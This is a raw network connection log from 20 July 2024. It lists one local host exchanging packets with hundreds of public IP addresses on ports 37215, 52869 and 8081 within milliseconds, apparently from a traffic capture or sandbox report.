Jul 20, 2024 23:01:01.647161007 CEST	37215	52725	41.172.76.162	192.168.2.14
Jul 20, 2024 23:01:01.647186041 CEST	37215	52725	54.175.6.190	192.168.2.14
Jul 20, 2024 23:01:01.647193909 CEST	37215	52725	157.99.188.229	192.168.2.14
Jul 20, 2024 23:01:01.647211075 CEST	52869	49909	34.37.107.29	192.168.2.14
Jul 20, 2024 23:01:01.647228956 CEST	52869	49909	177.133.134.55	192.168.2.14
Jul 20, 2024 23:01:01.647229910 CEST	49909	52869	192.168.2.14	131.234.166.183
Jul 20, 2024 23:01:01.647229910 CEST	49909	52869	192.168.2.14	13.24.238.21
Jul 20, 2024 23:01:01.647229910 CEST	49909	52869	192.168.2.14	79.111.44.54
Jul 20, 2024 23:01:01.647229910 CEST	49909	52869	192.168.2.14	192.112.181.64
Jul 20, 2024 23:01:01.647229910 CEST	49909	52869	192.168.2.14	43.171.137.2
Jul 20, 2024 23:01:01.647229910 CEST	49909	52869	192.168.2.14	167.198.197.126
Jul 20, 2024 23:01:01.647229910 CEST	49909	52869	192.168.2.14	49.4.5.112
Jul 20, 2024 23:01:01.647939920 CEST	49909	52869	192.168.2.14	43.145.56.16
Jul 20, 2024 23:01:01.647939920 CEST	49909	52869	192.168.2.14	93.208.115.1
Jul 20, 2024 23:01:01.647939920 CEST	49909	52869	192.168.2.14	85.153.211.131
Jul 20, 2024 23:01:01.647942066 CEST	52869	49909	82.44.225.133	192.168.2.14
Jul 20, 2024 23:01:01.647939920 CEST	49909	52869	192.168.2.14	91.62.107.221
Jul 20, 2024 23:01:01.647939920 CEST	49909	52869	192.168.2.14	125.21.119.63
Jul 20, 2024 23:01:01.647939920 CEST	49909	52869	192.168.2.14	153.17.12.37
Jul 20, 2024 23:01:01.647939920 CEST	49909	52869	192.168.2.14	182.189.252.142
Jul 20, 2024 23:01:01.647939920 CEST	49909	52869	192.168.2.14	183.180.39.47
Jul 20, 2024 23:01:01.647952080 CEST	37215	52725	197.5.89.191	192.168.2.14
Jul 20, 2024 23:01:01.647959948 CEST	52869	49909	101.71.112.133	192.168.2.14
Jul 20, 2024 23:01:01.648180008 CEST	37215	52725	175.85.67.28	192.168.2.14
Jul 20, 2024 23:01:01.648199081 CEST	52869	49909	31.235.249.101	192.168.2.14
Jul 20, 2024 23:01:01.648211956 CEST	52869	49909	82.86.85.182	192.168.2.14
Jul 20, 2024 23:01:01.648221016 CEST	52869	49909	64.117.200.225	192.168.2.14
Jul 20, 2024 23:01:01.648230076 CEST	52869	49909	177.26.169.251	192.168.2.14
Jul 20, 2024 23:01:01.648238897 CEST	37215	52725	157.141.237.22	192.168.2.14
Jul 20, 2024 23:01:01.648246050 CEST	52869	49909	121.241.252.236	192.168.2.14
Jul 20, 2024 23:01:01.648271084 CEST	52869	49909	200.181.183.183	192.168.2.14
Jul 20, 2024 23:01:01.648289919 CEST	52869	49909	211.192.130.220	192.168.2.14
Jul 20, 2024 23:01:01.648298979 CEST	52869	49909	39.70.52.243	192.168.2.14
Jul 20, 2024 23:01:01.648310900 CEST	52869	49909	158.178.147.148	192.168.2.14
Jul 20, 2024 23:01:01.648319960 CEST	52869	49909	170.123.158.68	192.168.2.14
Jul 20, 2024 23:01:01.648329020 CEST	52869	49909	40.122.199.14	192.168.2.14
Jul 20, 2024 23:01:01.648336887 CEST	37215	52725	197.218.87.223	192.168.2.14
Jul 20, 2024 23:01:01.648344994 CEST	52869	49909	198.112.106.164	192.168.2.14
Jul 20, 2024 23:01:01.648353100 CEST	37215	52725	192.143.120.56	192.168.2.14
Jul 20, 2024 23:01:01.648360968 CEST	52869	49909	68.93.103.227	192.168.2.14
Jul 20, 2024 23:01:01.648503065 CEST	52725	37215	192.168.2.14	197.51.101.33
Jul 20, 2024 23:01:01.648503065 CEST	52725	37215	192.168.2.14	41.250.244.77
Jul 20, 2024 23:01:01.648503065 CEST	52725	37215	192.168.2.14	140.186.31.130
Jul 20, 2024 23:01:01.648503065 CEST	52725	37215	192.168.2.14	157.70.42.95
Jul 20, 2024 23:01:01.648503065 CEST	52725	37215	192.168.2.14	82.227.254.28
Jul 20, 2024 23:01:01.648503065 CEST	50165	8081	192.168.2.14	45.71.48.133
Jul 20, 2024 23:01:01.648503065 CEST	50165	8081	192.168.2.14	179.126.109.40
Jul 20, 2024 23:01:01.648729086 CEST	49909	52869	192.168.2.14	190.240.70.168
Jul 20, 2024 23:01:01.648729086 CEST	49909	52869	192.168.2.14	166.164.65.71
Jul 20, 2024 23:01:01.648729086 CEST	49909	52869	192.168.2.14	212.188.70.66
Jul 20, 2024 23:01:01.648729086 CEST	49909	52869	192.168.2.14	92.65.243.52
Jul 20, 2024 23:01:01.648729086 CEST	49909	52869	192.168.2.14	168.147.24.62
Jul 20, 2024 23:01:01.648729086 CEST	49909	52869	192.168.2.14	50.255.193.210
Jul 20, 2024 23:01:01.648729086 CEST	50165	8081	192.168.2.14	203.38.132.152
Jul 20, 2024 23:01:01.648729086 CEST	50165	8081	192.168.2.14	78.243.69.22
Jul 20, 2024 23:01:01.649427891 CEST	49909	52869	192.168.2.14	131.84.55.94
Jul 20, 2024 23:01:01.649427891 CEST	49909	52869	192.168.2.14	103.179.73.163
Jul 20, 2024 23:01:01.649427891 CEST	49909	52869	192.168.2.14	60.161.151.139
Jul 20, 2024 23:01:01.649427891 CEST	49909	52869	192.168.2.14	176.74.248.75
Jul 20, 2024 23:01:01.649427891 CEST	49909	52869	192.168.2.14	173.103.182.239
Jul 20, 2024 23:01:01.649427891 CEST	49909	52869	192.168.2.14	72.244.128.159
Jul 20, 2024 23:01:01.649427891 CEST	49909	52869	192.168.2.14	134.3.65.135
Jul 20, 2024 23:01:01.649427891 CEST	49909	52869	192.168.2.14	129.9.42.102
Jul 20, 2024 23:01:01.649632931 CEST	49909	52869	192.168.2.14	129.62.198.136
Jul 20, 2024 23:01:01.649632931 CEST	49909	52869	192.168.2.14	202.125.128.56
Jul 20, 2024 23:01:01.649632931 CEST	49909	52869	192.168.2.14	62.52.52.9
Jul 20, 2024 23:01:01.649632931 CEST	49909	52869	192.168.2.14	219.223.160.20
Jul 20, 2024 23:01:01.649632931 CEST	49909	52869	192.168.2.14	87.189.73.133
Jul 20, 2024 23:01:01.649632931 CEST	49909	52869	192.168.2.14	216.170.240.139
Jul 20, 2024 23:01:01.649632931 CEST	49909	52869	192.168.2.14	221.174.244.97
Jul 20, 2024 23:01:01.649632931 CEST	49909	52869	192.168.2.14	190.93.218.69
Jul 20, 2024 23:01:01.650193930 CEST	52869	49909	146.178.29.63	192.168.2.14
Jul 20, 2024 23:01:01.650203943 CEST	52869	49909	191.124.131.163	192.168.2.14
Jul 20, 2024 23:01:01.650209904 CEST	49909	52869	192.168.2.14	66.25.105.41
Jul 20, 2024 23:01:01.650209904 CEST	49909	52869	192.168.2.14	107.157.120.205
Jul 20, 2024 23:01:01.650209904 CEST	49909	52869	192.168.2.14	161.96.67.110
Jul 20, 2024 23:01:01.650209904 CEST	49909	52869	192.168.2.14	109.179.79.88
Jul 20, 2024 23:01:01.650213003 CEST	52869	49909	20.43.107.217	192.168.2.14
Jul 20, 2024 23:01:01.650209904 CEST	49909	52869	192.168.2.14	132.118.60.139
Jul 20, 2024 23:01:01.650209904 CEST	49909	52869	192.168.2.14	220.22.123.50
Jul 20, 2024 23:01:01.650209904 CEST	49909	52869	192.168.2.14	135.138.253.170
Jul 20, 2024 23:01:01.650209904 CEST	49909	52869	192.168.2.14	179.229.228.252
Jul 20, 2024 23:01:01.650223017 CEST	52869	49909	160.191.28.144	192.168.2.14
Jul 20, 2024 23:01:01.650230885 CEST	52869	49909	174.69.237.0	192.168.2.14
Jul 20, 2024 23:01:01.650239944 CEST	52869	49909	91.209.91.142	192.168.2.14
Jul 20, 2024 23:01:01.650248051 CEST	52869	49909	202.140.60.188	192.168.2.14
Jul 20, 2024 23:01:01.650257111 CEST	37215	52725	157.63.104.120	192.168.2.14
Jul 20, 2024 23:01:01.650265932 CEST	52869	49909	66.247.97.52	192.168.2.14
Jul 20, 2024 23:01:01.650274038 CEST	52869	49909	5.217.173.216	192.168.2.14
Jul 20, 2024 23:01:01.650291920 CEST	52869	49909	130.69.123.40	192.168.2.14
Jul 20, 2024 23:01:01.650300026 CEST	37215	52725	71.134.139.31	192.168.2.14
Jul 20, 2024 23:01:01.650307894 CEST	52869	49909	101.191.129.126	192.168.2.14
Jul 20, 2024 23:01:01.650316954 CEST	37215	52725	157.59.211.19	192.168.2.14
Jul 20, 2024 23:01:01.650325060 CEST	52869	49909	128.98.160.122	192.168.2.14
Jul 20, 2024 23:01:01.650333881 CEST	52869	49909	118.44.218.190	192.168.2.14
Jul 20, 2024 23:01:01.650348902 CEST	52869	49909	8.55.90.119	192.168.2.14
Jul 20, 2024 23:01:01.650367022 CEST	37215	52725	157.151.236.223	192.168.2.14
Jul 20, 2024 23:01:01.650374889 CEST	37215	52725	23.86.202.230	192.168.2.14
Jul 20, 2024 23:01:01.650383949 CEST	52869	49909	162.57.74.72	192.168.2.14
Jul 20, 2024 23:01:01.650393009 CEST	52869	49909	180.39.180.182	192.168.2.14
Jul 20, 2024 23:01:01.650428057 CEST	52869	49909	65.188.53.189	192.168.2.14
Jul 20, 2024 23:01:01.650437117 CEST	52869	49909	112.236.210.206	192.168.2.14
Jul 20, 2024 23:01:01.650510073 CEST	52869	49909	93.255.94.157	192.168.2.14
Jul 20, 2024 23:01:01.650518894 CEST	52869	49909	138.222.128.120	192.168.2.14
Jul 20, 2024 23:01:01.650527000 CEST	37215	52725	36.80.25.77	192.168.2.14
Jul 20, 2024 23:01:01.650612116 CEST	49909	52869	192.168.2.14	129.75.183.108
Jul 20, 2024 23:01:01.650612116 CEST	49909	52869	192.168.2.14	76.57.31.87
Jul 20, 2024 23:01:01.650612116 CEST	50165	8081	192.168.2.14	174.157.235.161
Jul 20, 2024 23:01:01.650612116 CEST	50165	8081	192.168.2.14	183.94.165.33
Jul 20, 2024 23:01:01.650612116 CEST	50165	8081	192.168.2.14	81.75.231.68
Jul 20, 2024 23:01:01.650612116 CEST	50165	8081	192.168.2.14	41.59.197.107
Jul 20, 2024 23:01:01.650612116 CEST	50165	8081	192.168.2.14	131.89.55.103
Jul 20, 2024 23:01:01.650612116 CEST	50165	8081	192.168.2.14	54.30.127.37
Jul 20, 2024 23:01:01.650625944 CEST	52869	49909	134.76.14.241	192.168.2.14
Jul 20, 2024 23:01:01.650635958 CEST	52869	49909	27.79.119.12	192.168.2.14
Jul 20, 2024 23:01:01.650645018 CEST	52869	49909	190.144.135.107	192.168.2.14
Jul 20, 2024 23:01:01.650661945 CEST	52869	49909	165.240.21.199	192.168.2.14
Jul 20, 2024 23:01:01.650672913 CEST	52869	49909	13.188.216.17	192.168.2.14
Jul 20, 2024 23:01:01.650686026 CEST	52869	49909	79.163.220.136	192.168.2.14
Jul 20, 2024 23:01:01.650693893 CEST	52869	49909	31.90.157.252	192.168.2.14
Jul 20, 2024 23:01:01.650702000 CEST	37215	52725	157.16.152.89	192.168.2.14
Jul 20, 2024 23:01:01.650710106 CEST	52869	49909	220.158.230.42	192.168.2.14
Jul 20, 2024 23:01:01.650718927 CEST	52869	49909	54.198.216.131	192.168.2.14
Jul 20, 2024 23:01:01.650727034 CEST	52869	49909	40.180.122.90	192.168.2.14
Jul 20, 2024 23:01:01.650744915 CEST	37215	52725	197.27.36.193	192.168.2.14
Jul 20, 2024 23:01:01.650774002 CEST	52869	49909	64.213.179.125	192.168.2.14
Jul 20, 2024 23:01:01.650783062 CEST	52869	49909	99.58.61.9	192.168.2.14
Jul 20, 2024 23:01:01.650790930 CEST	52869	49909	60.144.29.97	192.168.2.14
Jul 20, 2024 23:01:01.650799036 CEST	52869	49909	162.138.211.72	192.168.2.14
Jul 20, 2024 23:01:01.650811911 CEST	52869	49909	206.233.127.191	192.168.2.14
Jul 20, 2024 23:01:01.650819063 CEST	49909	52869	192.168.2.14	2.121.154.211
Jul 20, 2024 23:01:01.650819063 CEST	49909	52869	192.168.2.14	90.94.174.5
Jul 20, 2024 23:01:01.650819063 CEST	49909	52869	192.168.2.14	25.162.120.16
Jul 20, 2024 23:01:01.650819063 CEST	49909	52869	192.168.2.14	184.201.211.106
Jul 20, 2024 23:01:01.650819063 CEST	49909	52869	192.168.2.14	167.27.38.190
Jul 20, 2024 23:01:01.650820971 CEST	52869	49909	59.126.120.18	192.168.2.14
Jul 20, 2024 23:01:01.650819063 CEST	49909	52869	192.168.2.14	70.122.128.122
Jul 20, 2024 23:01:01.650819063 CEST	49909	52869	192.168.2.14	115.223.205.24
Jul 20, 2024 23:01:01.650820017 CEST	49909	52869	192.168.2.14	203.71.161.180
Jul 20, 2024 23:01:01.650837898 CEST	52869	49909	116.111.12.206	192.168.2.14
Jul 20, 2024 23:01:01.650846958 CEST	52869	49909	156.230.140.45	192.168.2.14
Jul 20, 2024 23:01:01.651043892 CEST	50165	8081	192.168.2.14	174.136.209.15
Jul 20, 2024 23:01:01.651043892 CEST	50165	8081	192.168.2.14	59.122.183.154
Jul 20, 2024 23:01:01.651043892 CEST	50165	8081	192.168.2.14	114.135.167.195
Jul 20, 2024 23:01:01.651043892 CEST	49909	52869	192.168.2.14	188.210.108.3
Jul 20, 2024 23:01:01.651043892 CEST	49909	52869	192.168.2.14	116.249.152.16
Jul 20, 2024 23:01:01.651043892 CEST	49909	52869	192.168.2.14	77.15.206.197
Jul 20, 2024 23:01:01.651043892 CEST	49909	52869	192.168.2.14	78.235.37.214
Jul 20, 2024 23:01:01.651467085 CEST	49909	52869	192.168.2.14	112.188.71.20
Jul 20, 2024 23:01:01.651467085 CEST	49909	52869	192.168.2.14	110.190.196.16
Jul 20, 2024 23:01:01.651467085 CEST	49909	52869	192.168.2.14	139.142.224.17
Jul 20, 2024 23:01:01.651467085 CEST	49909	52869	192.168.2.14	72.13.90.187
Jul 20, 2024 23:01:01.651467085 CEST	49909	52869	192.168.2.14	20.117.159.93
Jul 20, 2024 23:01:01.651467085 CEST	49909	52869	192.168.2.14	136.254.36.162
Jul 20, 2024 23:01:01.651467085 CEST	49909	52869	192.168.2.14	49.92.4.36
Jul 20, 2024 23:01:01.651467085 CEST	49909	52869	192.168.2.14	169.3.168.159
Jul 20, 2024 23:01:01.651751041 CEST	52869	49909	149.86.2.31	192.168.2.14
Jul 20, 2024 23:01:01.651813984 CEST	52869	49909	181.146.224.142	192.168.2.14
Jul 20, 2024 23:01:01.651823044 CEST	52869	49909	124.90.204.138	192.168.2.14
Jul 20, 2024 23:01:01.651830912 CEST	52869	49909	77.164.7.36	192.168.2.14
Jul 20, 2024 23:01:01.651839018 CEST	52869	49909	141.224.95.108	192.168.2.14
Jul 20, 2024 23:01:01.651848078 CEST	52869	49909	157.159.16.125	192.168.2.14
Jul 20, 2024 23:01:01.651856899 CEST	52869	49909	151.136.169.42	192.168.2.14
Jul 20, 2024 23:01:01.651865005 CEST	52869	49909	146.126.33.191	192.168.2.14
Jul 20, 2024 23:01:01.651890039 CEST	52869	49909	99.202.52.30	192.168.2.14
Jul 20, 2024 23:01:01.651899099 CEST	52869	49909	49.217.12.33	192.168.2.14
Jul 20, 2024 23:01:01.651912928 CEST	52869	49909	181.129.237.7	192.168.2.14
Jul 20, 2024 23:01:01.651921988 CEST	52869	49909	72.184.169.139	192.168.2.14
Jul 20, 2024 23:01:01.651930094 CEST	52869	49909	194.147.115.196	192.168.2.14
Jul 20, 2024 23:01:01.651938915 CEST	52869	49909	114.173.101.131	192.168.2.14
Jul 20, 2024 23:01:01.651947021 CEST	52869	49909	182.207.82.188	192.168.2.14
Jul 20, 2024 23:01:01.651957989 CEST	52869	49909	71.96.116.185	192.168.2.14
Jul 20, 2024 23:01:01.651967049 CEST	52869	49909	145.114.175.209	192.168.2.14
Jul 20, 2024 23:01:01.651974916 CEST	52869	49909	209.88.50.174	192.168.2.14
Jul 20, 2024 23:01:01.651983976 CEST	52869	49909	196.52.15.30	192.168.2.14
Jul 20, 2024 23:01:01.651992083 CEST	52869	49909	154.234.222.130	192.168.2.14
Jul 20, 2024 23:01:01.652000904 CEST	52869	49909	62.62.247.176	192.168.2.14
Jul 20, 2024 23:01:01.652009010 CEST	52869	49909	207.107.95.51	192.168.2.14
Jul 20, 2024 23:01:01.652017117 CEST	52869	49909	37.92.251.97	192.168.2.14
Jul 20, 2024 23:01:01.652025938 CEST	52869	49909	5.43.253.115	192.168.2.14
Jul 20, 2024 23:01:01.652034044 CEST	52869	49909	173.77.175.8	192.168.2.14
Jul 20, 2024 23:01:01.652041912 CEST	52869	49909	35.91.143.191	192.168.2.14
Jul 20, 2024 23:01:01.653136015 CEST	52869	49909	123.243.178.81	192.168.2.14
Jul 20, 2024 23:01:01.653143883 CEST	52869	49909	217.244.72.189	192.168.2.14
Jul 20, 2024 23:01:01.653170109 CEST	52869	49909	65.248.115.141	192.168.2.14
Jul 20, 2024 23:01:01.653178930 CEST	52869	49909	41.70.70.158	192.168.2.14
Jul 20, 2024 23:01:01.653187037 CEST	52869	49909	188.64.202.52	192.168.2.14
Jul 20, 2024 23:01:01.653194904 CEST	52869	49909	213.207.143.98	192.168.2.14
Jul 20, 2024 23:01:01.653203964 CEST	52869	49909	187.235.69.197	192.168.2.14
Jul 20, 2024 23:01:01.653286934 CEST	37215	52725	41.2.29.71	192.168.2.14
Jul 20, 2024 23:01:01.653317928 CEST	52869	49909	2.115.51.25	192.168.2.14
Jul 20, 2024 23:01:01.653326035 CEST	52869	49909	188.154.109.67	192.168.2.14
Jul 20, 2024 23:01:01.653333902 CEST	52869	49909	172.76.44.174	192.168.2.14
Jul 20, 2024 23:01:01.653333902 CEST	49909	52869	192.168.2.14	182.122.20.48
Jul 20, 2024 23:01:01.653333902 CEST	49909	52869	192.168.2.14	206.17.196.39
Jul 20, 2024 23:01:01.653333902 CEST	49909	52869	192.168.2.14	85.236.184.176
Jul 20, 2024 23:01:01.653333902 CEST	49909	52869	192.168.2.14	219.191.122.98
Jul 20, 2024 23:01:01.653333902 CEST	49909	52869	192.168.2.14	183.209.119.234
Jul 20, 2024 23:01:01.653333902 CEST	49909	52869	192.168.2.14	195.164.92.202
Jul 20, 2024 23:01:01.653333902 CEST	49909	52869	192.168.2.14	27.248.118.30
Jul 20, 2024 23:01:01.653333902 CEST	49909	52869	192.168.2.14	58.207.233.109
Jul 20, 2024 23:01:01.653342962 CEST	52869	49909	152.149.61.199	192.168.2.14
Jul 20, 2024 23:01:01.653352022 CEST	37215	52725	197.105.45.119	192.168.2.14
Jul 20, 2024 23:01:01.653369904 CEST	52869	49909	74.231.66.1	192.168.2.14
Jul 20, 2024 23:01:01.653381109 CEST	37215	52725	197.94.204.45	192.168.2.14
Jul 20, 2024 23:01:01.653389931 CEST	52869	49909	222.15.221.37	192.168.2.14
Jul 20, 2024 23:01:01.653398037 CEST	52869	49909	47.67.168.49	192.168.2.14
Jul 20, 2024 23:01:01.653407097 CEST	52869	49909	115.118.201.201	192.168.2.14
Jul 20, 2024 23:01:01.653415918 CEST	52869	49909	111.86.157.53	192.168.2.14
Jul 20, 2024 23:01:01.653424978 CEST	52869	49909	167.60.40.217	192.168.2.14
Jul 20, 2024 23:01:01.653433084 CEST	52869	49909	14.68.225.116	192.168.2.14
Jul 20, 2024 23:01:01.653438091 CEST	49909	52869	192.168.2.14	13.100.171.44
Jul 20, 2024 23:01:01.653438091 CEST	49909	52869	192.168.2.14	176.71.117.7
Jul 20, 2024 23:01:01.653438091 CEST	49909	52869	192.168.2.14	57.201.12.20
Jul 20, 2024 23:01:01.653438091 CEST	49909	52869	192.168.2.14	203.78.175.2
Jul 20, 2024 23:01:01.653438091 CEST	49909	52869	192.168.2.14	125.140.107.93
Jul 20, 2024 23:01:01.653438091 CEST	49909	52869	192.168.2.14	65.175.199.89
Jul 20, 2024 23:01:01.653438091 CEST	49909	52869	192.168.2.14	101.246.184.157
Jul 20, 2024 23:01:01.653438091 CEST	49909	52869	192.168.2.14	24.148.63.65
Jul 20, 2024 23:01:01.653441906 CEST	52869	49909	85.70.210.244	192.168.2.14
Jul 20, 2024 23:01:01.653460026 CEST	37215	52725	197.226.152.232	192.168.2.14
Jul 20, 2024 23:01:01.653469086 CEST	52869	49909	65.29.160.70	192.168.2.14
Jul 20, 2024 23:01:01.653739929 CEST	49909	52869	192.168.2.14	41.48.198.141
Jul 20, 2024 23:01:01.653739929 CEST	49909	52869	192.168.2.14	2.244.30.69
Jul 20, 2024 23:01:01.653739929 CEST	49909	52869	192.168.2.14	136.184.246.205
Jul 20, 2024 23:01:01.653739929 CEST	49909	52869	192.168.2.14	222.254.37.107
Jul 20, 2024 23:01:01.653739929 CEST	49909	52869	192.168.2.14	4.32.31.240
Jul 20, 2024 23:01:01.653739929 CEST	49909	52869	192.168.2.14	137.192.226.61
Jul 20, 2024 23:01:01.653740883 CEST	49909	52869	192.168.2.14	66.238.117.205
Jul 20, 2024 23:01:01.653740883 CEST	49909	52869	192.168.2.14	218.80.197.56
Jul 20, 2024 23:01:01.654215097 CEST	50165	8081	192.168.2.14	191.18.68.185
Jul 20, 2024 23:01:01.654215097 CEST	50165	8081	192.168.2.14	97.189.79.179
Jul 20, 2024 23:01:01.654215097 CEST	50165	8081	192.168.2.14	45.180.95.187
Jul 20, 2024 23:01:01.654215097 CEST	50165	8081	192.168.2.14	46.81.119.241
Jul 20, 2024 23:01:01.654215097 CEST	50165	8081	192.168.2.14	103.23.78.175
Jul 20, 2024 23:01:01.654215097 CEST	50165	8081	192.168.2.14	75.128.113.209
Jul 20, 2024 23:01:01.654215097 CEST	50165	8081	192.168.2.14	112.223.143.0
Jul 20, 2024 23:01:01.654215097 CEST	50165	8081	192.168.2.14	190.246.166.65
Jul 20, 2024 23:01:01.655399084 CEST	49909	52869	192.168.2.14	126.2.243.161
Jul 20, 2024 23:01:01.655399084 CEST	49909	52869	192.168.2.14	212.76.154.68
Jul 20, 2024 23:01:01.655399084 CEST	49909	52869	192.168.2.14	163.47.122.188
Jul 20, 2024 23:01:01.655399084 CEST	49909	52869	192.168.2.14	159.176.176.208
Jul 20, 2024 23:01:01.655400038 CEST	49909	52869	192.168.2.14	217.117.118.187
Jul 20, 2024 23:01:01.655400038 CEST	49909	52869	192.168.2.14	123.118.216.63
Jul 20, 2024 23:01:01.655400038 CEST	49909	52869	192.168.2.14	114.188.127.63
Jul 20, 2024 23:01:01.655400038 CEST	49909	52869	192.168.2.14	90.31.243.103
Jul 20, 2024 23:01:01.655507088 CEST	49909	52869	192.168.2.14	51.148.116.193
Jul 20, 2024 23:01:01.655507088 CEST	49909	52869	192.168.2.14	191.124.205.30
Jul 20, 2024 23:01:01.655507088 CEST	49909	52869	192.168.2.14	204.244.162.157
Jul 20, 2024 23:01:01.655507088 CEST	49909	52869	192.168.2.14	184.18.102.14
Jul 20, 2024 23:01:01.655507088 CEST	49909	52869	192.168.2.14	51.240.51.123
Jul 20, 2024 23:01:01.655507088 CEST	49909	52869	192.168.2.14	185.102.251.206
Jul 20, 2024 23:01:01.655507088 CEST	49909	52869	192.168.2.14	218.6.73.141
Jul 20, 2024 23:01:01.655874968 CEST	52869	49909	64.61.21.55	192.168.2.14
Jul 20, 2024 23:01:01.656027079 CEST	52869	49909	108.207.129.253	192.168.2.14
Jul 20, 2024 23:01:01.656035900 CEST	52869	49909	178.57.58.147	192.168.2.14
Jul 20, 2024 23:01:01.656295061 CEST	49909	52869	192.168.2.14	14.213.163.243
Jul 20, 2024 23:01:01.656295061 CEST	49909	52869	192.168.2.14	112.151.203.235
Jul 20, 2024 23:01:01.656295061 CEST	49909	52869	192.168.2.14	173.155.49.234
Jul 20, 2024 23:01:01.656295061 CEST	49909	52869	192.168.2.14	119.216.248.126
Jul 20, 2024 23:01:01.656295061 CEST	49909	52869	192.168.2.14	116.111.66.143
Jul 20, 2024 23:01:01.656295061 CEST	50165	8081	192.168.2.14	76.205.198.124
Jul 20, 2024 23:01:01.656338930 CEST	37215	52725	192.8.153.125	192.168.2.14
Jul 20, 2024 23:01:01.656347990 CEST	52869	49909	5.108.28.159	192.168.2.14
Jul 20, 2024 23:01:01.656356096 CEST	37215	52725	197.88.152.77	192.168.2.14
Jul 20, 2024 23:01:01.656364918 CEST	52869	49909	2.46.59.12	192.168.2.14
Jul 20, 2024 23:01:01.656373024 CEST	37215	52725	157.221.166.47	192.168.2.14
Jul 20, 2024 23:01:01.656380892 CEST	52869	49909	169.73.158.246	192.168.2.14
Jul 20, 2024 23:01:01.656388998 CEST	52869	49909	117.199.176.147	192.168.2.14
Jul 20, 2024 23:01:01.656397104 CEST	52869	49909	58.141.211.31	192.168.2.14
Jul 20, 2024 23:01:01.656405926 CEST	52869	49909	60.154.99.20	192.168.2.14
Jul 20, 2024 23:01:01.656414032 CEST	52869	49909	60.68.1.166	192.168.2.14
Jul 20, 2024 23:01:01.656439066 CEST	52869	49909	174.117.157.2	192.168.2.14
Jul 20, 2024 23:01:01.656455994 CEST	52869	49909	44.96.234.78	192.168.2.14
Jul 20, 2024 23:01:01.656465054 CEST	52869	49909	72.222.174.251	192.168.2.14
Jul 20, 2024 23:01:01.656472921 CEST	52869	49909	36.44.157.9	192.168.2.14
Jul 20, 2024 23:01:01.656475067 CEST	50165	8081	192.168.2.14	212.140.234.181
Jul 20, 2024 23:01:01.656475067 CEST	50165	8081	192.168.2.14	89.97.141.193
Jul 20, 2024 23:01:01.656475067 CEST	50165	8081	192.168.2.14	157.83.56.116
Jul 20, 2024 23:01:01.656475067 CEST	50165	8081	192.168.2.14	60.84.128.91
Jul 20, 2024 23:01:01.656475067 CEST	50165	8081	192.168.2.14	85.98.72.106
Jul 20, 2024 23:01:01.656475067 CEST	50165	8081	192.168.2.14	106.2.91.143
Jul 20, 2024 23:01:01.656475067 CEST	50165	8081	192.168.2.14	171.237.111.175
Jul 20, 2024 23:01:01.656475067 CEST	50165	8081	192.168.2.14	178.225.122.2
Jul 20, 2024 23:01:01.656488895 CEST	52869	49909	171.144.139.139	192.168.2.14
Jul 20, 2024 23:01:01.656666040 CEST	49909	52869	192.168.2.14	61.90.232.252
Jul 20, 2024 23:01:01.656666040 CEST	49909	52869	192.168.2.14	54.189.221.44
Jul 20, 2024 23:01:01.656666040 CEST	49909	52869	192.168.2.14	132.34.228.144
Jul 20, 2024 23:01:01.656666040 CEST	49909	52869	192.168.2.14	102.243.20.210
Jul 20, 2024 23:01:01.656666040 CEST	49909	52869	192.168.2.14	130.89.105.172
Jul 20, 2024 23:01:01.656666040 CEST	49909	52869	192.168.2.14	23.170.161.54
Jul 20, 2024 23:01:01.656666040 CEST	49909	52869	192.168.2.14	53.243.233.11
Jul 20, 2024 23:01:01.656666040 CEST	49909	52869	192.168.2.14	157.138.168.37
Jul 20, 2024 23:01:01.658171892 CEST	49909	52869	192.168.2.14	212.166.30.102
Jul 20, 2024 23:01:01.658171892 CEST	49909	52869	192.168.2.14	13.50.25.54
Jul 20, 2024 23:01:01.658171892 CEST	49909	52869	192.168.2.14	79.130.194.18
Jul 20, 2024 23:01:01.658171892 CEST	49909	52869	192.168.2.14	43.90.91.197
Jul 20, 2024 23:01:01.658171892 CEST	49909	52869	192.168.2.14	164.194.5.157
Jul 20, 2024 23:01:01.658171892 CEST	49909	52869	192.168.2.14	176.8.64.239
Jul 20, 2024 23:01:01.658171892 CEST	49909	52869	192.168.2.14	66.12.112.220
Jul 20, 2024 23:01:01.658173084 CEST	49909	52869	192.168.2.14	198.222.10.239
Jul 20, 2024 23:01:01.659284115 CEST	49909	52869	192.168.2.14	98.49.158.78
Jul 20, 2024 23:01:01.659284115 CEST	49909	52869	192.168.2.14	203.174.113.107
Jul 20, 2024 23:01:01.659284115 CEST	49909	52869	192.168.2.14	166.151.174.122
Jul 20, 2024 23:01:01.659284115 CEST	49909	52869	192.168.2.14	181.76.169.112
Jul 20, 2024 23:01:01.659284115 CEST	49909	52869	192.168.2.14	186.34.74.65
Jul 20, 2024 23:01:01.659285069 CEST	49909	52869	192.168.2.14	86.112.24.122
Jul 20, 2024 23:01:01.659285069 CEST	49909	52869	192.168.2.14	54.184.16.152
Jul 20, 2024 23:01:01.659285069 CEST	49909	52869	192.168.2.14	203.169.244.225
Jul 20, 2024 23:01:01.659874916 CEST	50165	8081	192.168.2.14	171.221.102.31
Jul 20, 2024 23:01:01.659874916 CEST	50165	8081	192.168.2.14	36.191.109.221
Jul 20, 2024 23:01:01.659874916 CEST	50165	8081	192.168.2.14	132.238.98.82
Jul 20, 2024 23:01:01.659874916 CEST	50165	8081	192.168.2.14	163.107.64.56
Jul 20, 2024 23:01:01.659874916 CEST	50165	8081	192.168.2.14	172.195.154.174
Jul 20, 2024 23:01:01.659874916 CEST	50165	8081	192.168.2.14	173.228.154.177
Jul 20, 2024 23:01:01.659874916 CEST	50165	8081	192.168.2.14	17.30.113.89
Jul 20, 2024 23:01:01.659874916 CEST	50165	8081	192.168.2.14	100.137.68.1
Jul 20, 2024 23:01:01.660142899 CEST	52869	49909	40.224.141.14	192.168.2.14
Jul 20, 2024 23:01:01.660151958 CEST	52869	49909	19.130.123.151	192.168.2.14
Jul 20, 2024 23:01:01.660207033 CEST	52869	49909	168.236.58.106	192.168.2.14
Jul 20, 2024 23:01:01.660217047 CEST	37215	52725	207.22.189.218	192.168.2.14
Jul 20, 2024 23:01:01.660224915 CEST	52869	49909	209.87.192.88	192.168.2.14
Jul 20, 2024 23:01:01.660233974 CEST	52869	49909	179.90.129.47	192.168.2.14
Jul 20, 2024 23:01:01.660243034 CEST	52869	49909	147.24.204.167	192.168.2.14
Jul 20, 2024 23:01:01.660259962 CEST	52869	49909	72.146.47.133	192.168.2.14
Jul 20, 2024 23:01:01.660268068 CEST	52869	49909	97.182.119.204	192.168.2.14
